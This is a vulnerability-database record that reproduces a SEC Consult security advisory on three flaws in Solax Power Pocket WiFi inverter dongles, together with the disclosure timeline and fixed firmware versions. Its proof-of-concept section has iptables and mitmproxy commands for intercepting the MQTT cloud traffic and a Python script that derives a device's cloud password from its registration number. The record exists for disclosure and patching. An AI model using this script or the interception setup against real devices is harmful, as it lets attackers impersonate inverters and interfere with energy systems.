GCVE-1988-2026-0198
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
SEC Consult SA-20260212-0 :: Multiple Vulnerabilities in various Solax Power Pocket WiFi models
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260212-0 >
=======================================================================
title: Multiple Vulnerabilities
product: Various Solax Power Pocket WiFi models
vulnerable version: See section below
fixed version: See section below
CVE number: CVE-2025-15573, CVE-2025-15574, CVE-2025-15575
impact: High
homepage:https://www.solaxpower.com
found: 2025-04-15
by: Stefan Viehböck
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Founded in 2012, SolaX has rapidly risen to become a global leader in
photovoltaic energy storage systems and solutions. Leading the way in
industry innovation, SolaX introduced Asia’s first energy storage inverter
and has successfully launched five major product series over the years."
Source:https://www.solaxpower.com/about/
Business recommendation:
------------------------
The vendor provides patches for the affected Pocket models which can be
obtained throw their customers' Solax Cloud accounts and using the Pocket
firmware upgrade function there. They should be installed immediately if
the device is not already patched.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.
Vulnerability overview/description:
-----------------------------------
1) Missing Certificate Validation for SolaX Cloud MQTT Connection (CVE-2025-15573)
The device does not validate the server certificate when connecting to the
SolaX Cloud MQTTS server hosted in the Alibaba Cloud
(mqtt001.solaxcloud.com, TCP 8883). This allows attackers in a
man-in-the-middle position to act as the legitimate MQTT server and issuing
arbitrary commands to devices.
Large scale man-in-the-middle attacks are feasible for attackers with the
capabilities to execute attacks such as BGP hijacking, DNS spoofing or
intercepting communication at the backbone level (e.g. nation state).
Possible threats are:
- Disrupting the electric grid by repeatedly starting/stopping inverters.
- Getting initial access to the victim's local networks by flashing malicious
firmware on the dongles.
- Causing physical damage by flashing malicious firmware on the inverters
(disabling firmware-based safety checks + introducing malicious behavior like
overvoltage, frequency mismatches, etc.).
2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)
When connecting to the Solax Cloud MQTT server the username is the
"registration number", which is the 10 character string printed on the device /
the QR code on the device. The password is derived from the "registration
number" using a proprietary XOR/transposition algorithm.
Attackers with the knowledge of the registration numbers can connect to the
MQTT server and impersonate the dongle / inverters.
3) Missing Firmware Authenticity Checks (CVE-2025-15575)
The firmware update functionality does not verify the authenticity of the
supplied firmware update files. This allows attackers to flash malicious
firmware update files on the device.
Proof of concept:
-----------------
1) Missing Certificate Validation for SolaX Cloud MQTTS Connection (CVE-2025-15573)
The following commands can be used to intercept the communication between a device
and the Solax Cloud.
iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables -t nat -A PREROUTING -i wlan0 -p tcp -m tcp --dport 8883 -j REDIRECT --to-ports 8080
mitmproxy --mode transparent --set connection_strategy=lazy --set tls_version_client_min=TLS1_2 --set
tls_version_server_min=TLS1_2 -k -v
2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)
The following python script implements the password derivation given the
registration number:
python ```
import re
def generate_solax_password(registration_number):
registration_number = bytearray(registration_number.encode())
password = bytearray(8)
password[0] = registration_number[7]
password[1] = registration_number[4]
password[2] = registration_number[3]
password[3] = registration_number[6]
password[4] = registration_number[5]
password[5] = registration_number[2]
password[6] = registration_number[9]
password[7] = registration_number[8]
for i in range(len(password)):
xored = password[i] ^ 0xb
if re.match(r'[A-Z0-9]', chr(xored)):
password[i] = xored
else:
print('else case')
password[i] = ord('A')
return password.decode('ascii')
registration_number = "SM3XXXXXXX"
password = generate_solax_password(registration_number)
print(registration_number,password)
```
3) Missing Firmware Authenticity Checks (CVE-2025-15575)
No proof-of-concept is provided. Initial analysis of the firmware update
functionality does not show any cryptographic checks (e.g. digital signature
checks) on the supplied firmware update files.
Furthermore, ESP32 security features such as secure boot are not used.
Vulnerable / tested versions:
-----------------------------
The following version has been tested on a Solax Power Pocket WiFi V3:
* 618.00415.00_Pocket_WIFI_V3.015.02_20240122
It is likely that other SolaX / QCells products that directly connect to the
SolaX Cloud are affected. This includes inverter Wi-Fi/LAN/LTE dongles,
Adapter Box, EV Charger, etc.
The vendor provided the following further affected products:
1. Pocket WiFi 3.0
2. Pocket WiFi+LAN
3. Pocket WiFi+4GM
4. Pocket WiFi+LAN 2.0
5. Pocket WiFi 4.0
Vendor contact timeline:
------------------------
2025-05-05: Contacting vendor throughservice () solaxpower com; no response.
2025-05-16: Contacting vendor through multiple other email addresses from their
website.
2025-05-20: Asking a direct contact at SolaX Power for a security contact.
2025-05-27: Vendor security team responds with PGP key.
2025-05-28: Sending encrypted advisory.
2025-06-09: Vendor responds with analysis of the issues and that
a new firmware will be released by the end of July 2025.
2025-06-12: Asking a few follow-up questions, which other products are affected,
and whether manual update is necessary or automatically pushed.
No response.
2025-07-10: Asking vendor again & regarding patch availability. No response.
2026-02-09: Following up again, setting release date to 26th February, reserving
CVE numbers.
2026-02-10: Vendor provides detailed model information with updated firmware versions.
Setting disclosure date to 12th February as everything is fixed
according to the vendor.
2026-02-26: Public release of advisory.
Solution:
---------
The vendor provides patches for the affected Pocket models which can be
obtained throw their customer's Solax Cloud account and using the Pocket
firmware upgrade function there.
As of February 10, 2026, the firmware versions for each affected Pocket model
are as follows according to the vendor:
1. Pocket WiFi 3.0 – (3.022.03)
2. Pocket WiFi+LAN – (1.009.02)
3. Pocket WiFi+4GM – (1.005.05)
4. Pocket WiFi+LAN 2.0 – (006.06)
5. Pocket WiFi 4.0 – (003.03)
The vendor provided the following further information regarding EV Charger
and Adapter Box:
1. EV Charger: The WiFi module firmware supports digital signature, but only one-way
authentication is implemented.
2. Adapter Box: The WiFi module firmware supports two-way authentication and digital
signature.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Stefan Viehböck / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | SEC Consult SA-20260212-0 |
Affected:
unknown
|
guessed |
Relationships
reference
GCVE-1988-2026-0198 (this record)
- related CVE-2025-15573
- related CVE-2025-15574
- related CVE-2025-15575
{
"containers": {
"cna": {
"affected": [
{
"product": "SEC Consult SA-20260212-0",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260212-0 \u003e\n=======================================================================\n title: Multiple Vulnerabilities\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Various Solax Power Pocket WiFi models\n\u00a0vulnerable version: See section below\n\u00a0 \u00a0 \u00a0 fixed version: See section below\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-15573, CVE-2025-15574, CVE-2025-15575\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: High\n homepage:https://www.solaxpower.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-04-15\n by: Stefan Viehb\u00f6ck\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Founded in 2012, SolaX has rapidly risen to become a global leader in\nphotovoltaic energy storage systems and solutions. Leading the way in\nindustry innovation, SolaX introduced Asia\u2019s first energy storage inverter\nand has successfully launched five major product series over the years.\"\n\nSource:https://www.solaxpower.com/about/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patches for the affected Pocket models which can be\nobtained throw their customers\u0027 Solax Cloud accounts and using the Pocket\nfirmware upgrade function there. They should be installed immediately if\nthe device is not already patched.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Missing Certificate Validation for SolaX Cloud MQTT Connection (CVE-2025-15573)\nThe device does not validate the server certificate when connecting to the\nSolaX Cloud MQTTS server hosted in the Alibaba Cloud\n(mqtt001.solaxcloud.com, TCP 8883). This allows attackers in a\nman-in-the-middle position to act as the legitimate MQTT server and issuing\narbitrary commands to devices.\n\nLarge scale man-in-the-middle attacks are feasible for attackers with the\ncapabilities to execute attacks such as BGP hijacking, DNS spoofing or\nintercepting communication at the backbone level (e.g. nation state).\n\nPossible threats are:\n- Disrupting the electric grid by repeatedly starting/stopping inverters.\n- Getting initial access to the victim\u0027s local networks by flashing malicious\n firmware on the dongles.\n- Causing physical damage by flashing malicious firmware on the inverters\n (disabling firmware-based safety checks + introducing malicious behavior like\n overvoltage, frequency mismatches, etc.).\n\n\n2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)\nWhen connecting to the Solax Cloud MQTT server the username is the\n\"registration number\", which is the 10 character string printed on the device /\nthe QR code on the device. The password is derived from the \"registration\nnumber\" using a proprietary XOR/transposition algorithm.\nAttackers with the knowledge of the registration numbers can connect to the\nMQTT server and impersonate the dongle / inverters.\n\n\n3) Missing Firmware Authenticity Checks (CVE-2025-15575)\nThe firmware update functionality does not verify the authenticity of the\nsupplied firmware update files. This allows attackers to flash malicious\nfirmware update files on the device.\n\n\nProof of concept:\n-----------------\n1) Missing Certificate Validation for SolaX Cloud MQTTS Connection (CVE-2025-15573)\nThe following commands can be used to intercept the communication between a device\nand the Solax Cloud.\n\niptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT\niptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT\niptables -t nat -A PREROUTING -i wlan0 -p tcp -m tcp --dport 8883 -j REDIRECT --to-ports 8080\nmitmproxy --mode transparent --set connection_strategy=lazy --set tls_version_client_min=TLS1_2 --set \ntls_version_server_min=TLS1_2 -k -v\n\n\n2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)\nThe following python script implements the password derivation given the\nregistration number:\n\npython ```\nimport re\n\ndef generate_solax_password(registration_number):\n registration_number = bytearray(registration_number.encode())\n password = bytearray(8)\n\n password[0] = registration_number[7]\n password[1] = registration_number[4]\n password[2] = registration_number[3]\n password[3] = registration_number[6]\n password[4] = registration_number[5]\n password[5] = registration_number[2]\n password[6] = registration_number[9]\n password[7] = registration_number[8]\n\n for i in range(len(password)):\n\n xored = password[i] ^ 0xb\n if re.match(r\u0027[A-Z0-9]\u0027, chr(xored)):\n password[i] = xored\n else:\n print(\u0027else case\u0027)\n password[i] = ord(\u0027A\u0027)\n\n return password.decode(\u0027ascii\u0027)\n\nregistration_number = \"SM3XXXXXXX\"\npassword = generate_solax_password(registration_number)\nprint(registration_number,password)\n```\n\n3) Missing Firmware Authenticity Checks (CVE-2025-15575)\nNo proof-of-concept is provided. Initial analysis of the firmware update\nfunctionality does not show any cryptographic checks (e.g. digital signature\nchecks) on the supplied firmware update files.\nFurthermore, ESP32 security features such as secure boot are not used.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested on a Solax Power Pocket WiFi V3:\n* 618.00415.00_Pocket_WIFI_V3.015.02_20240122\n\nIt is likely that other SolaX / QCells products that directly connect to the\nSolaX Cloud are affected. This includes inverter Wi-Fi/LAN/LTE dongles,\nAdapter Box, EV Charger, etc.\n\nThe vendor provided the following further affected products:\n1. Pocket WiFi 3.0\n2. Pocket WiFi+LAN\n3. Pocket WiFi+4GM\n4. Pocket WiFi+LAN 2.0\n5. Pocket WiFi 4.0\n\n\nVendor contact timeline:\n------------------------\n2025-05-05: Contacting vendor throughservice () solaxpower com; no response.\n2025-05-16: Contacting vendor through multiple other email addresses from their\n website.\n2025-05-20: Asking a direct contact at SolaX Power for a security contact.\n2025-05-27: Vendor security team responds with PGP key.\n2025-05-28: Sending encrypted advisory.\n2025-06-09: Vendor responds with analysis of the issues and that\n a new firmware will be released by the end of July 2025.\n2025-06-12: Asking a few follow-up questions, which other products are affected,\n and whether manual update is necessary or automatically pushed.\n No response.\n2025-07-10: Asking vendor again \u0026 regarding patch availability. No response.\n2026-02-09: Following up again, setting release date to 26th February, reserving\n CVE numbers.\n2026-02-10: Vendor provides detailed model information with updated firmware versions.\n Setting disclosure date to 12th February as everything is fixed\n according to the vendor.\n2026-02-26: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor provides patches for the affected Pocket models which can be\nobtained throw their customer\u0027s Solax Cloud account and using the Pocket\nfirmware upgrade function there.\n\nAs of February 10, 2026, the firmware versions for each affected Pocket model\nare as follows according to the vendor:\n1. Pocket WiFi 3.0 \u2013 (3.022.03)\n2. Pocket WiFi+LAN \u2013 (1.009.02)\n3. Pocket WiFi+4GM \u2013 (1.005.05)\n4. Pocket WiFi+LAN 2.0 \u2013 (006.06)\n5. Pocket WiFi 4.0 \u2013 (003.03)\n\nThe vendor provided the following further information regarding EV Charger\nand Adapter Box:\n1. EV Charger: The WiFi module firmware supports digital signature, but only one-way\n authentication is implemented.\n2. Adapter Box: The WiFi module firmware supports two-way authentication and digital\n signature.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Stefan Viehb\u00f6ck / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:57:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/17"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Feb/17"
},
{
"url": "https://blog.sec-consult.com"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://www.solaxpower.com"
},
{
"url": "https://www.solaxpower.com/about/"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Feb/17"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20260212-0 :: Multiple Vulnerabilities in various Solax Power Pocket WiFi models",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2025-15573",
"type": "related"
},
{
"destId": "CVE-2025-15574",
"type": "related"
},
{
"destId": "CVE-2025-15575",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0198",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/17",
"automated": true,
"contentSha256": "cd8d781dce175c3440706b839510881b64b8732ad88629f0cd8b2b1b37b5db90",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/17",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-12T10:53:04Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0198"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-08T07:57:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0198"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…